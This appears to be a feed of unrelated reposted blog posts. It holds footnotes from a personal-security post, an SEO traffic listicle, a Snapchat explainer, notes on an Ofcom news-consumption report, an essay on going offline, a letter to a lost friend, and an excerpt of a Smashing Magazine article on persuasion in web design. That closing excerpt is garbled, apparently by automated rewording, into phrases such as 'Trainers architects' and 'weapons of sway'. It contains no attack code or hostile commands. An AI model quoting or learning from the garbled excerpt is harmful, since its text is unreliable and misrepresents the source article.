If you really tried you could probably find Diana's Twitter from these. You would then be a hacking genius, binary flowing through your veins, and have a CVE number assigned to your personally. I, a humble wannabee, am relying on your strict ethics to prevent you from, uh, stalking the friend of some guy whose blog post you read. You can do it. I believe in you. ↩︎

Having said that, I don't really have an overwhelming amount of faith in the idea that someone won't try to do that. You can stay chilled out, dear reader, since before this blog was published Diana and I had a nice chat and fixed up her personal security. ↩︎

Password managers like LastPass are also good for giving you unique passwords, but I reckon 2FA is the best effort:security ratio value For Normal People Tee Em. ↩︎

But, this is less secure, since your phone number can still be hijacked. ↩︎

#luigi waluigi

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seo1code-blog · 7 years

Text

8 Reasons You’re Not Getting Any Website Traffic - And How To Fix It

You feel as if you’ve done everything right, but your traffic numbers say otherwise.

Clearly, there’s something wrong.

Maybe you’re just a tweak or two away from opening the floodgates?

But the question remains… what is the reason behind your traffic-poor website?

Fortunately for you, you’ve come to the right place. In this post, we’ll show you legitimate possibilities why your website isn’t performing and how to fix them.

Let’s get started.

Here are eight reasons why your traffic isn’t growing.

1. Your SEO game is weak

Google is the best source of free traffic. But getting your content within the top 10 results is a tough task. Only the best of the best manage to be featured up there.

That means your content needs to be top notch. That’s the start.

But there are several other factors at play, including setting up an XML sitemap, installing an SEO plugin, optimizing your content for keyword search terms, and more.

Without all these, your chances at ranking high in search engines are slim. Just missing one important factor can result in very low rankings.

Here’s the fix

Using WordPress SEO is a multi-step process that can be difficult at first. But with a little practice, it can become second nature.

Install and configure Yoast SEO

Yoast SEO is probably the best WordPress SEO plugin. It’s easy to use and it gets the job done. To get started, install the plugin and use the configuration wizard to help you with the setup.

If you need more help, WP Beginner’s got an easy-to-follow guide.

Install Google Analytics, Search Console and an XML Sitemap

Everybody knows Google Analytics, Search Console and an XML sitemap are essential.

Google Analytics allows you to keep track of your site’s overall traffic. It’s also used to confirm your website with the Search Console.

The Search Console allows you to keep track of your search presence. And XML sitemaps provide a way for Google’s bots to read your site.

These step-by-step guides will teach you everything you need to know: The Absolute Beginner’s Guide to Google Analytics by Moz and How To Add Your Website To Google Search Console by Yoast.

Use Yoast’s On Page SEO feature to help you optimize your content

This is a neat feature that keeps your on page optimization on par.

First, it starts by asking you for your target keyword.

Then it analyzes your page and shows you how well you’ve optimized it around your keyword.

Green = good. Orange = OK. Red = bad.

Here are some other handy resources on this subject: 13 Super-Easy Ways to Immediately Improve Your SEO Rankings and 10 Things You Should Do Right Now to Improve SEO on Your Blog

2. Your backlink profile is whack

Backlinks play a key role in your search rankings.

Most pages that rank in the top three or so usually have high-quality links directing browsers to them. At the very least, their domain has heaps of authority, meaning that their link profile consists of dozens and dozens of backlinks from their industry’s best.

If you haven’t tried any link building in the past, chances are you don’t have many backlinks.

And if this is the case, that’s likely the #1 reason why you’re not getting any traffic from Google.

Here’s the fix

The best way to get started is by blog commenting. Most blogs give out no-follow links to their commenters.

No-follow links don’t really carry much link juice, which means they rarely help with your search rankings. But that doesn’t matter…

The best link profiles have a good mixture of no-follow and do-follow links.

To perfect your blog commenting technique, here are a few simple steps.

Go to one of your niche’s top blogs.

Pick a blog article you’re interested in and read it in full.

Scroll to the comments section, fill out the form and leave a quality comment.

Rinse and repeat.

But as I said… blog comment links aren’t exactly going to get you #1 rankings. You need to do better than that.

To build do-follow links, one of the best techniques is to write a guest post. Most blogs allow guest authors a link or two. Usually, one within the content and another in your author bio.

Here’s an example from one of my first guest posts. It’s from a site called Successful Blogging.

See the in-content link?

There are more in my author bio link.

Another link building strategy I’d recommend is using resource pages.

Resource pages are basically link pages. They usually have dozens of links pointing to high-quality content.

I’ve built several quality links using this method myself. Including this one from Page One Power.

Here is some further reading I think you’ll find useful:

The Ultimate Guest Blogging Guide

Resource Page Link Building: The Definitive Guide

Link Building Strategies: The Complete List

3. Your target keywords are out of your league

We all know keywords are incredibly important to search engine rankings.

However, the more times a keyword gets entered into a Google search, the more likely it becomes targeted by the very best writing in an industry. Which means it becomes 100 times harder to beat your competitors for a spot in the top 10.

Even if your content is the best, there’s no guarantee you’ll be able to achieve high rankings… the SERPs are unfair like that. They usually give the top rankings to authority websites such as Amazon, Entrepreneur and WebMD.

So if you’re targeting keywords like how to quit smoking, chances are you’ll probably never get a top 10 ranking.

Here’s the fix

You can choose to either gain authority, or target long-tail keywords.

If you want to build an authority website, you’ll need to work very hard and be very patient. Becoming an authority isn’t easy. It can take months or even years.

The type of work you’d have to do includes guest blogging, interviews, massive link building, and creating 10x content.

On the flipside, if you target long-tail keywords, which are search terms containing more than 4-5 words and are highly specific, you will have a much higher chance at driving search traffic.

I’d recommend mixing both of the two options together… target the long-tail, and while you’re at it, do everything you can to grow your authority.

For example, every time you create a blog post, make sure it’s 10x better than your competitors’.

Also, consider setting up some guest posts on your niche’s top blogs. To start, I’d suggest one guest post per month (maybe even per week).

Here’s a great post on How to Generate 20,000 Monthly Visitors Through Long-Tail Search by Neil Patel and another one on 25 Ways To Build Online Authority by Vinny La Barbera.

4. Your content isn’t worthy

Your content is the primary reason why people come to visit your blog.

If you’re only pumping out mediocre blog posts, no one will want to stop by for a read. No matter how great your marketing tactics are, if your content sucks, so will your traffic flow.

Even if you pay for your traffic… no one will stay past a hot minute.

Driving traffic is one thing. Getting them to stay, is another. And doing it on a consistent basis, that’s the million-dollar question.

Here’s the fix

It all starts with high-quality content that’ll make your readers stop and say, “I never thought of it like that before!”

Know what I’m saying?

You should be trying to write incredibly high-quality posts that are optimized for the web.

Here’s a checklist for you:

Short paragraphs

No fluff or gobbledygook

Use bold and italics for emphasis

Include plenty of images/multimedia

Include real-life data

Back up your claims with proof, sources and links

There’s a lot that goes into creating readable (not just scannable) web content.

So find the right topics. Use keyword tools to find highly-searched phrases. Take advantage of Google’s autocomplete and related searches. Explore Quora and other online communities to find questions being asked within your niche.

If you study your target audience, you will find the right topics to write about, which will then generate more traffic.

These content hacks will tell you everything you need to know: How You Can Create Content That Generates 400,000 Targeted Visitors by OK Dork and How to Create 10 x Content: Whiteboard Friday by Moz.

5. You are spending too much time CREATING and not enough PROMOTING

We all know our blogs cannot live without high-quality content.

If you consistently create a blog post every week, there’s a pretty good chance you’ll generate a nice flow of organic traffic.

However, nothing is guaranteed in the blogging world. Especially when it comes to getting fresh eyes on your content.

Have you heard of the saying, ‘publish and pray’? I first heard it from Brian Dean of Backlinko.

Basically, it means a blogger with little to no authority who publishes blog post after blog post, without any promotion, in hopes of magically driving traffic from unknown sources.

It’s like… you hit the publish button and pray someone will read it, without even knowing how that someone will find your blog post.

But the thing is, no matter how epic your content is, if you have no brand/website authority, no one will find it in a search engine or newsfeed.

That’s why you have to aggressively promote your content.

Here’s the fix

Have you ever heard of the 80/20 rule? Well, it applies to content marketing, also. Spend 80% on promotion, 20% on creation.

But how do you promote content, I hear you ask?

Well, there’s more than one way to do it, and there’s more to it than sharing it on social media.

The best way to promote your content is with a little bit of influencer marketing.

Influencer marketing is where you leverage an industry influencer’s reach or audience to gain some exposure for yourself. Which is why it’s perfect for content promotion.

I recommend reading the following resources:

How Lovers Get More Traffic with This Simple Influencer Marketing Strategy

Content Promotion Strategies: 50 Ways to Drive Traffic To Your Next Article

6. Your headlines aren’t click-worthy

If your headlines are not compelling, chances are you won’t get many clicks. No matter how well you rank in search engines or how many times you show up in social media newsfeeds.

You see, headlines are the first thing internet users see before making that ultimate decision of whether or not they want to visit your site.

If their minds tell them no, it’s on you.

It doesn’t matter how awesome your blog content is. If no one clicks it, no one sees it.

Here’s the fix

Play with a bunch of headline formulas. There are tons out there. And all you have to do is fill in the blanks, basically.

One of the easiest formulas I’ve used, which is great for list posts, is this… [number] + [adjective] + [keyword] + [promise]

Here are some examples:

21 Effective List Building Strategies That Will Triple Your Email List

99 Simple Weight Loss Tips That Could Help You Shed 50 Pounds

57 Awesome Halloween Costume Ideas That Will Scare the Crap Out of Everybody

See?

The formula can also be used to craft how-to headlines. But instead of adjectives, you use adverbs. Check it out…

How to Effectively Plan a Diet That Will Help You Eat Healthier

How to Easily Find Long-tail Keywords That Could Send You Waves of Search Traffic

How to Magically Bake Delicious Cookies Everyone Will Love

Try it for youself. If you want more information, Neil Patel has written a great Step-by-Step Guide to Writing Powerful Headlines and Audience Bloom has an inspirational resource on 101 Title Ideas for Your Next Blog Post.

7. Your website’s user experience is horrible

If you’re not consistently getting website traffic, there’s a good chance it might be because of your website’s UX.

If your site isn’t user-friendly, no one will want to visit it. No matter how great your content is.

If you publish something your audience actually wants to read, they might not even come and read it. They’ll just go to someone else for the same information.

That’s how important your user experience is.

Here’s the fix

There’s a lot that goes into a user-friendly website.

One of the main things is the loading time. If your site takes more than three seconds to fully load, you can expect your visitors to hit the ‘back’ button.

Another thing is the mobile responsiveness. A couple years ago, Google put out an update where mobile users were the focus. If your site isn’t mobile-friendly, you likely aren’t going to rank in the mobile SERPs.

Yet another thing is that Google and internet users themselves don’t like intrusive popups. The Big G actually stated in their mobile update that it is against pop-ups that block the reader from reading content (you can read more about that here).

The last thing I want to mention here is blog design. There’s a lot that goes into a well-designed blog that’ll make your visitors visit and your readers read.

So be sure to take a look at the handy links below!

10 Tips That Can Drastically Improve Your Website’s User Experience

15 Easy Ways To Speed Up WordPress

Make Your Website Mobile-friendly Now; 3 Ways

8. Your social media presence is practically non-existent

Social media has become a big part of traffic generation over the years. It’s not all about Google and search engines anymore.

So having some presence within your social communities can mean a lot to your traffic.

If you can grow a good following on networks like Twitter and LinkedIn, a single share/post can result in hundreds of website visitors.

And it’s not just the major social networks that matter. There are plenty of online communities out there that aren’t on sites like Facebook.

Take Reddit, for example. There are thousands of ‘sub-reddits’ that get thousands of followers.

There are also forums. For example, if you’re in the marketing space, there’s Warrior Forum. It has thousands of active members. Tens of thousands, even.

But if your social profiles look something like this…

…you won’t be able to get any social media or forum traffic.

Here’s the fix

Become part of a social media community. Be active and contribute.

Start by choosing one or two sites to begin with. For example, Facebook and Twitter.

For networks like Facebook, LinkedIn, and Twitter, you will need to fill out professional-style profiles to do it right.

Why? Because before I follow someone on Twitter, for instance, I usually take a quick peek at their profile. I read their bio and a few of their latest posts to see if there’s anything I can learn from them (or at the very least, to see if we share interests).

To be an active contributor to your chosen social media community, answer questions, provide exclusive tips/content, offer support, build rapport and commenting on other people’s posts.

After a while, you’ll start to gain some influence. When this happens, you will be able to start directing some of your group’s traffic to your own blog.

Here is a great article outlining 12 Proven Tactics for Rapidly Growing Your Presence on Social Media on Entrepreneur and another one on Sprout Social that will teach you 6 Ways to Immediately Boost Social Media Traffic.

Wrapping up

Driving traffic every day isn’t just for top-performing sites like Forbes, Authority Nutrition and TechCrunch.

Sure, it can be difficult. But with some hard work, you can get in on the action too.

You just need to master how to do it, and practice makes perfect.

Follow the great points above and dive into the resources I’ve provided. I know you’ll find they work for you.

8 Reasons You’re Not Getting Any Website Traffic - And How To Fix It

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pogueman · 7 years

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Pogue: Here's what Snapchat is all about

Today is a big day: The company that created Snapchat, that baffling (to parents) smash hit (among teens), is going public. It’s expected to be a huge stock offering, offered at $17 a share, making the company worth $24 billion.

This, you understand, is for a company whose growth stalled last year, whose software features have been copied by Instagram, and whose losses keep growing—It lost $515 million last year, and $373 the year before.

All of which might make you wonder more than ever: What the hell is SnapChat?

Here’s an explainer.

Meet Snapchat

Every year, there’s another app that everyone talks about, that gets bought for a billion dollars, whose name gets tossed around in articles as though we’re all familiar. It’s enough to give you app-hype fatigue.

I don’t use Snapchat. And no wonder: Most people who use it are under 25, and 70% of them are female. I’m neither.

At the same time, I’ve been dying to understand Snapchat. I mean, it’s a major cultural force. Somewhere between 100 million and 200 million people are using it every day. They send 20,000 photos a second, and watch 8 billion videos a day.

So I decided to dive in, to talk to people, to pound on this app until I finally understood its absolutely baffling layout.

Here, for the benefit of people who don’t understand Snapchat, is what I discovered.

Lesson one: Snapchat is really three apps crammed in one.

Function 1: Self-destructing messages

First, Snapchat’s most famous purpose is to let you send self-erasing photos to people.

To be more precise, it lets you snap a picture or record a 10-second video, dress it up with funny overlays, type and format a caption, draw on it with your finger and then send it to specified friends. Once they’ve seen your snap once, it disappears.

Or you can post them publicly to your time line (here called your Story), just as on Facebook or Instagram. The difference is that whatever you post vanishes after 24 hours.

For non-teenagers, the whole concept is a little bizarre. Why would you take photos and videos knowing that they’ll disappear after one viewing? Isn’t the whole purpose of photos and videos to capture cherished memories to be viewed years from now?

Here’s my theory: Deep down, Snapchat’s appeal has to do with teenage angst and insecurity.

Usually, what you post online is there forever. It can come back to haunt you. Everything on Facebook, Twitter, Instagram, the Web, text messages, email—it will always be there for people to judge you. Your parents might see it. A college admissions officer. A prospective employer.

But Snapchat takes the pressure off. If your snap is goofy or badly framed or embarrassing or incriminating—you don’t care! Post it anyway. No employer or principal or parent will ever find it and disapprove.

Furthermore, there are no comments, no Like buttons, no counts of how many friends you have. No judgment.

All of this gives Snapchat an honesty, an authenticity, and an immediacy that the other social media apps lack—and that millennials love.

The screenshot loophole

It is true, by the way, that if someone sends you a Snapchat photo, you can take a screenshot of it before it disappears, thereby preserving it forever and defeating the whole purpose of Snapchat. (To take a screenshot, you press sleep button+Home on the iPhone, volume-down + Home on most Android phones.)

The app does notify the sender that you screenshot the image before it disappeared. But still: Who would risk sending naughty stuff, knowing that it could be captured?

One good answer came from a respondent on Quora: “If you don’t trust someone to not take advantage of you, don’t send them that snap—it’s really that easy.”

Another came from a high-schooler I interviewed: “Nobody really thinks that the point of Snapchat is to send messages that will delete…unless it’s something secret or embarrassing, I guess. Anyway, I don’t think people care if you screenshot something.”

Either way, the screenshot loophole doesn’t seem to bother anyone.

One more exception: Once a day, you can watch one snap one more time in case you missed it. Incredibly, you can also pay money for the ability to view snaps again (three replays for a dollar). Mostly, nobody bothers. (“I did not even know that was feature. Neither did my cousins—noted avid Snapchat users,” said my high-school source.)

Function 2: Standard chat program

Many teenagers use Snapchat constantly. They send many, many snaps. They live in the app.

The Snapchat folks only have fanned that flame by adding text, voice, and video chat capabilities to the app. You can have a conversation by typing, by talking, or by video calling.

These communications also disappear, once both parties have read them.

Function 3: A news app

The third face of Snapchat’s personality is its recent incarnation as a news app. Online publications can post their own stuff for you to read: ESPN, Comedy Central, BuzzFeed, People, National Geographic, CNN, and many others.

What does any of this publishing stuff have to do with chatting with friends or sending self-destructing photos?

Beats the heck out of me. Probably has something to do with Snapchat trying to make money.

How to use Snapchat

Snapchat wins no awards for ease of use. In fact, it’s incredibly hard to figure out, filled with unlabeled icons and confusingly arrayed screens.

(Maybe that, too, is part of the appeal to teenagers. Every generation of teens has its secret, proprietary culture—slang, music, rituals—deliberately designed to shut out or mystify their parents. Maybe mastering Snapchat’s bizarre layout makes its fans feel like insiders in an exclusive club.)

In any case, Functions 2 and 3 are easy to use. To read the articles posted by media organizations, tap the menu button (lower right) to see the names of the magazines and Web sites, and tap your way in to start reading.

And it’s easy to use the chat feature. Tap the lower-left corner of the camera screen to access your list of contacts, and then tap one to start typing or calling.

That leaves us with only the Big One, the primary Snapchat feature, the really fun one: Sending self-deleting photos and videos.

Here’s how it goes.

When you first open the app, its camera screen appears. It works just like your phone’s regular camera app. Tap the upper-right camera button to use the phone’s front-facing camera to take a selfie, which is usually the point. Touch the big round shutter button to take the photo. (Or hold it down for up to 10 seconds to record a video.)

All Snapchat photos and videos are vertical, by the way; nobody turns the phone 90 degrees to take or view them.

Once you’ve snapped a shot, the real fun begins: Dressing it up.

* Apply a filter. Swipe horizontally to apply a color filter—to impose a blue or green tint to the whole thing, for example.

* Stamp some stickers. At the top right, the square icon shown here opens a page of emoji-like faces. Tap to stamp one on your photo. At that point, you can drag the “sticker” around to move it or pinch/spread with two fingers to enlarge it or shrink it.

* Type some text. When you tap the Text icon, the keyboard opens. Type a caption and then Done. Now you can drag with your finger to slide the caption up or down the photo.

Or maybe you’d prefer giant lettering. To do that, tap the T to make the text huge. Once it’s huge, tap the text itself to open a page with a color slider, so you can change its color.

* Draw on the photo. Tap the pencil icon to draw or write on the shot with your finger. Once again, a slider appears so you can specify the color.

* Put on a virtual mask. You’d never in a million years stumble onto this feature without being told, but it’s hilarious and fun: Snapchat can turn you into a gorilla or a Viking or a bobblehead, either as a still or a video.

To see these software “masks,” the trick is to hold your finger down on your own face in the live camera view. After a moment, a grid out of a sci-fi movie appears on your face, and icons for virtual masks fills the bottom of the screen. Tap one to try it out. (They change all the time, for variety.) Some come with instructions, like “open your mouth,” which triggers a funny animation.

When you’ve got a look you like, snap it as a photo or video just as you normally would—by touching or holding your finger down on the round button on the screen.

(I would have written that these virtual masks are so witty, new, and interesting, it’s worth installing Snapchat just to try them out—except that MSQRD is a free app that does exactly the same thing, with even better animations and smarts and without all the extra clutter of Snapchat. If you have a child and an upcoming car ride, you must download MSQRD.)

Finally, you’re ready to post your masterpiece. For this, you use the icons in the lower-left corner of the screen:

* Seconds. The lower-left icon specifies how many seconds your recipients will have to view your masterpiece before it disappears.

* Save. Your friends aren’t supposed to keep copies of your photos, but it’s OK for you to keep them. Tap the Save button to preserve it in your phone’s photo collection.

* Post to your Story. Story is Snapchat’s name for your time line or newsfeed, much like your Facebook wall or your Instagram feed. It’s a way for you to make your snaps viewable to your entire social circle (which you specify in settings)—although anything on your Story page disappears after 24 hours. This is Snapchat, after all.

Now you get it?

As you now know, the first Snapchat mystery—how do you use it?—is easily solved, once you have a cheat sheet.

As for the second mystery—why do people use it?—it helps to be a teenager. But if you’re not, your answer lies in the same qualities that have made hits out of any super-hyped app in recent years: convenience, delight, popularity among your friends, and—in Snapchat’s case—a sense that whatever you do, you won’t someday regret what you’ve sent into the electronic ether.

David Pogue, tech columnist for Yahoo Finance, welcomes non-toxic comments in the Comments below. On the Web, he’s davidpogue.com. On Twitter, he’s @pogue. On email, he’s [email protected]. You can read all his articles here (http://finance.yahoo.com/news/david-pogue/), or you can sign up to get his columns by email (http://j.mp/P4Qgnh).

#_lmsid:a077000000BAh3wAAD #_revsp:yahoofinance.com #_uuid:05df926b-9050-3db1-8fe3-d76b422a692a #$SNAP #_author:David Pogue #Snapchat

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scotthogsett · 4 years

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Ofcom: News consumption report

Ofcom did a study into the different ways people consume the news and everything regarding whether they trust certain platforms more than others, if they enjoy it a bit better and if they understand it better if formatted in a certain way. So I wanted to look into this to see a more concrete report on this.

It appears this report was made to understand the dropping numbers of newspapers sold and the decreasing numbers of views the TV news is getting. I am going to comment on a few things I think is interesting.

Introduction

“Gone are the days when the majority of people bought a paper in the morning, watched the TV news in the evening, and had little or no exposure to news in between.“

I think this is really interesting because the normal format of the NEWS was very rigid, you had to be in front of the TV at a certain time and you couldn’t rewind if you missed any of it. But with the introduction of several devices and platforms over recent years there is no need to be behind the TV screen at 6 o’clock every night, instead the NEWS can be accessed in your pocket or on the computer.

Newsfeed Interface

“There were a range of platforms and sources for consuming news on smartphone... the ‘newsfeed’ format was present across almost all.”

This is one of the best example of the benefits of having an interactive device, you don’t have to watch it and wait to see if there is anything that interests you, you can see the headline, thumbnail and small description and you can just scroll if you aren’t interested.

Social media blurring the lines

“For many respondents, social media was their primary route to news. On social media, news was aggregated alongside other content, providing a convenient ‘one-stop shop’ for content.”

As a social media user I can see how this is true and I can also see the benefit to having all their content in one place, I am usually clued in on what’s happening because I see the headline and accompanying image along with the caption and I can get the gist of what’s happening so I can get by in small talk situations.

Constant availability of ‘new’ news

“Many talked about feeling over-loaded, exhausted and desensitised by the amount of news to process.”

I can understand this myself as I will quickly gather the news through google news and twitter notifications, often just looking at the heading and if I think it requires more context I will look at the first paragraph which is interesting because when I looked at the How users read on the web report from Nielsen Norman Group, they mentioned it could be beneficial to put a conclusion type paragraph at the top of the page in order to inform those ‘on the run‘.

This over consumption of all the NEWS in the world makes individual stories worth less and makes the time people want to spend on them less as they have the other thousand eye catching headlines to take on board.

From reading this report it breaks this project down to two options:

Be really specific in the NEWS category you want to go for and put effort into writing stories that will interest that specific target audience in an attempt to gather a small but consistent audience in you niche subject or...

Cover a larger portion of the NEWS, Give them a clear headline, clue them i on what they need to know and send them onto the next story, if they know the facts and don’t have to dig through the over described gossip, this will keep them in the loop so they can go about their everyday life.

I found reading this report helpful and it set me on the right path in my search for an idea to re-imagine the NEWS, I feel like i understand the needs and frustrations of people “especially younger” on how they consume the NEWS and what they prefer to do when reading the NEWS.

#IXD303

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sarahburness · 5 years

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How Going Offline for 10 Days Healed My Anxiety

“Almost everything will work again if you unplug it for a while, including you.” ~Anna Lamott

I wake up anxious a little past 4am. My heart is beating faster than usual, and I’m aware of an unsettled feeling, like life-crushing doom is imminent. For a moment, I wonder if I just felt the first waves of a massive earthquake. Or perhaps those were gunshots I just heard in the distance.

But no, it’s just another night in my bedroom in the Bay Area, and everything is utterly fine. But somehow, my central nervous system isn’t so sure.

The problem is the thick swirl of news media, social media, and talk among friends I carry with me every day. It’s a toxic milkshake of speculation, fear, and anger that I consume, and it has me deeply rattled. I absorb this stuff like crazy.

I suspect I’m not alone.

I know for a fact that my anxiety isn’t just some vague menopause symptom, but the result of my deep immersion in the current zeitgeist. I know this because recently I left the whole thing behind for ten glorious days. I went to Belize, and left my phone and my laptop sitting on my bureau at home.

For most of that time, my wife and I lived on a small island thirty miles out to sea with only a bit of generator electricity. We avoided the extremely spotty Wifi like the plague. Instead, we woke with the sunrise, and sat on the deck outside our grass hut, watching manta rays swim in the shallow water below us and pelicans perch nearby. The biggest thing that happened every morning was the osprey that left its nest and circled above us.

It was life in slow-mo all the way. And it was transformative.

For ten entire days I didn’t think about politics or how America is devolving into an angry, wild place where public figures regularly get death threats, and social media has become the equivalent of High Noon with guns drawn.

The toxic interplay of who is right or wrong, or the future of our democracy ceased to exist as we sailed toward that island on our big, well-worn catamaran. In fact, by the time we reached our refuge, those tapes had disappeared altogether.

Instead, we swam and we rested. We snorkeled. We read. We had some adventures involving caves and kayaks, and we hung out with the other guests. The two Belizian women who cooked for us observed us Americans with our expensive toys, and they took it all with a grain of salt. In their presence, I could suddenly see how silly and overwrought all this intensity has become.

Ironically, when given the opportunity to present a gift to a school in one of Belize’s small seaside towns, I brought along a laptop and an iPad I no longer used. An elementary school teacher received the gifts with gratitude. Yet, as I gave them to her, I noticed I felt wary.

I could swear she seemed wary as well.

What new layer of complexity was I bringing onto these shores? And was it even necessary for life to go on happily and productively?

When we returned to the so-called civilized world, here’s what I immediately noticed:

1. I was now leery of all my previously trusted news sources.

Suddenly I could clearly see the anguished bias all around me, going in all sorts of directions left and right. The newsfeeds I’d previously consumed with abandon now seemed more biased than I’d realized. I was left with one option—either drop out and start reading the classics for entertainment, or proceed with caution.

2. I had more time to sit alone with nothing in particular to do.

Before my media fast, that was a bad idea. Hey, I had social media to check and emails to catch up on. The day’s events were going by in a high-speed blur, and I had to keep up. But now life had slowed to the pace of my emotions. I could breathe again. And so, for a while at least, I enjoyed spacing out.

3. My anxiety disappeared. For a while.

So did my knockdown ambition, and my desire to overwork. Everything had just … chilled. Enormously. For a while I slept easily. I no longer drove myself to do the impossible, and my to-do list now seemed balanced and reasonable. In turn, I no longer woke up with my heart pounding, nor did I have qualms overcome me during the day. Instead, I got ideas. Inspiration landed on me, and I was energized enough to pursue it.

4. Life became lighter and more fun.

Now I found my day-to-day routine to be far more delightful. It simply was, and for no particular reason. I laughed more. I found myself singing while I did chores around the house. Since I wasn’t consuming the same fire hose of media, I now had time to have more fun.

5. I complained less.

Now that I was unplugged, I found that I didn’t have to share my opinion on every last political matter happening around me. Nor did I need to engage in fights on social media. In turn, I didn’t lie awake as much, gnashing my teeth.

6. I thought about things I’d long forgotten.

Like my childhood. I tapped into long buried feelings sitting in that glorious deck chair of mine, like how it felt to be a vulnerable kid at school, and what joy I found in standing in the water, letting the waves rush my legs. I rediscovered the great internal monologue I have going all the time. It had long been forgotten.

7. I had more time just to hang with people.

This was, perhaps, the greatest gift of all. To quietly sit at a table, chatting over empty coffee cups with relative strangers, or perhaps my wife. There we all were, on our island for days on end. So we might as well talk, right? I found people to be fascinating once again.

In fact, I was discovering JOMO—the Joy of Missing Out. Turns out this is a thing. Those exact words were projected on the screen behind Sundar Pichai, CEO of Google, at a recent developer’s conference. Apparently even the tech people want to turn off their screens.

So one must ask the question: did all of this good stuff last?

In a word, no.

It’s been several months since this experiment ended, and I am, of course, back online. The pull is simply too great to ignore and avoid. Since I actually make my living online, disappearing off the grid is not even an option. And yet, I’ve learned a lot.

I no longer subscribe to certain reactionary newsfeeds. While I may be more out of touch, this is alarming material, guaranteed to not make me feel better. So no, I no longer read these emails. And I cherry pick what I read in my newsfeeds with care.

I no longer reach for my phone as soon as I open my eyes every morning. I also try not to check my email on my phone at all, something I often did while waiting in the Bay Area’s many lines. In fact, I’ve learned to leave my phone at home when I go out.

Instead, I chat with other people while waiting in the line, or I just look around. Or I zone out and enjoy what brain scientists call the “default mode,” the fertile, random, and enjoyable hopscotch the brain does while at rest. I realized now that I’d been missing that hopscotch. Instead, I enjoy the fertile luxury of a good daydream.

My late daughter Teal would have understood my need to drop out perfectly. Even at age twenty-two, she refused to have a smart phone. She embraced the world, eyes forward and heart engaged, making friends wherever she went. And she did so until her sudden death from a medically unexplainable cardiac arrest in 2012.

“Life is now,” she liked to say. Usually she reminded me of this as she headed out the door with her travel guitar and her backpack, on a spontaneous decision to busk her way across the other side of the world.

At the time, I couldn’t begin to fathom what she was talking about. “Too simplistic” I thought, dismissively, as I wrote it off to my daughter’s relentless free spirit. But as it turns out, Teal was right. So now I am left with this very big lesson.

Not only is life now, life is rich, random and filled with delight. The trick is to unplug long enough to actually experience it.

Illustration by Kaitlin Roth

About Suzanne Falter

You can find Suzanne Falter on Facebook at the Self Care Group for Extremely Busy Women or on her podcast, The Self-Care Soother. She is also the author of Surrendering to Joy, a collection of essays she wrote in the year following her daughter’s death. She keeps a blog at http://suzannefalter.com/blog/.

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The post How Going Offline for 10 Days Healed My Anxiety appeared first on Tiny Buddha.

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hush-hush-confidential-blog · 6 years

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Sept 11, 2018

To an old friend,

Over the last few days I have had a long thought process about the past. How, not even a week ago I was looking at my cat food and thought of an old neighbour. How we were laughing until our faces hurt at the meow mix jingle, then I thought about all the four-wheeler rides we took, all the time we spent sharing clothes and how I missed our friendship .

How in the last week, my Facebook memory was the 10 year anniversary of a friendship I had with someone I was friends with in first year of university and spent almost every day for about 8 months together. Getting ready for parties, the bars, spending hours in Leddy doing homework and studying, going to Vanier and the Croc, spending hours talking about relationships with boys/family/other friends. And now we exchange the occasional like on a picture or comment and maybe twice a year we try to plan something and how we aren’t able to meet up due to a scheduling conflict and give up.

How the following year I was super close to another friend and then slowly over time I had the same thing happen we used to talk and while I still have her on Facebook, I never went to her wedding, never met her kids, never really talk to her anymore. I barely even know her anymore.

In College a good friend of mine who I spent hours with in class and otherwise after college moved home then to a big city. Yeah we have Snapchat, Facebook and Instagram but I have talked to him a handful of times since college.

I can’t count how many of the numerous relationships I have had with friends and how they have been ruined by being busy with life or boyfriends. Now, Facebook allows me to still see what is going on in peoples lives I barely talk to anymore, and people who live far away, it kills friendships and relationships.

Just because we don’t talk anymore know that I still miss our friendship. I miss talking to you until late hours, I miss the inside jokes we used to have. I miss the dinners, bar nights, sleepovers, getting ready together and everything else. I miss our friendship and I am sorry it went away, I wish I could go back and not stop being friends but I can’t change the past. I can only change the future. So, if we stopped being friends for a silly reason or because life got busy I am reaching out to you. I am asking you to take a minute and read this status. When I watch your story, see your post or see our memories on Facebook, just know that I smile when something comes up in my newsfeed that reminds us of an inside joke or a memory we had.

Meow mix, our dorm building, getting my makeup done, demi Lovato and so many more things remind me of all you, and when I see them or hear them I think of you. Think of our friendship that ended and how I feel awful for ending something. I miss our friendship and just wish I could catch up on your life. I wish I could resume our friendship where it was but there isn’t a way to back track into the past to get something back.

Like I said earlier I can only be in present. So I am now just posting this to say I miss you, I miss our friendship and I hope that you are happy. I hope that you are in a good place in every sense of the meaning of a good place. And if you do want to reach out. I wont be mad if you did. I would great you like nothing has changed, even though everything has changed.

Love you,

Your past friend.

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katiezstorey93 · 6 years

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Persuasion Triggers In Internet Layout — Smashing Magazine

How do you make decisions? If you are like most people, then you are probably going to reply that you pride yourself on weighing the pros and cons of a scenario carefully and then make a determination based on logic. You understand that other individuals have poor personalities and can easily be swayed by their own feelings, but that rarely occurs to you.

You’ve only experienced the fundamental attribution error– that the tendency to think the other people’s behaviour is because of their personality (“Josh is late because he’s a disorganised person”) whereas the behaviour is a result of external conditions (“I’m late because the instructions were useless”).

Additional Reading on SmashingMag:

Cognitive biases like these play a substantial role in the manner in which we make decisions therefore it is not surprising that people are now examining these biases to see how to exploit them in the design of internet sites. I’m likely to use the term ‘Trainers architects’ to describe designers that knowingly apply these methods to affect the behaviour of users. (Many proficient designers already use some of the psychological techniques — they wouldn’t have the ability to articulate why they have created a specific design choice. The difference between these designers and persuasion architects is that Trainers architects use these techniques intentionally).

There are 7 main weapons of sway in the persuasion builder’s arsenal:

How do persuasion architects apply these fundamentals to affect our behaviour on the net?

Reciprocation

“I love to return favours.”

This principle tells us that if we believe we’ve been completed a favour, we will wish to return it. If a person gives you a gift, invites you to a celebration or will you a good turn, you’re obliged to perform the same in some future date.

Fig. 1: Book publishers provide free sample chapters in the hope that you will reciprocate the favour and purchase the book.

That ‘something in return’ need not be a buy (not yet, anyway). Persuasion architects understand that they have to get prospective clients on many occasions until they become a real customer — that is why regular newsletters are a staple offering in the persuasion builder’s toolkit. In return they may simply ask for a referral, or a URL to a web site, or even a comment on a site. And notice that the emphasis on ‘ask’. Persuasion architects aren’t shy of requesting the favour which you ‘owe’ them. (By the way, if you’ve enjoyed this guide, please share it on Twitter! ).

Fig. 2: Seth Godin knows how to leverage the rule of reciprocation. This stems from one of Seth’s free PDFs and you will notice he’s not shy of requesting you to return the favour. Large view

Commitment

Smashing Membership. Just sayin’.

“I love to do what I say.”

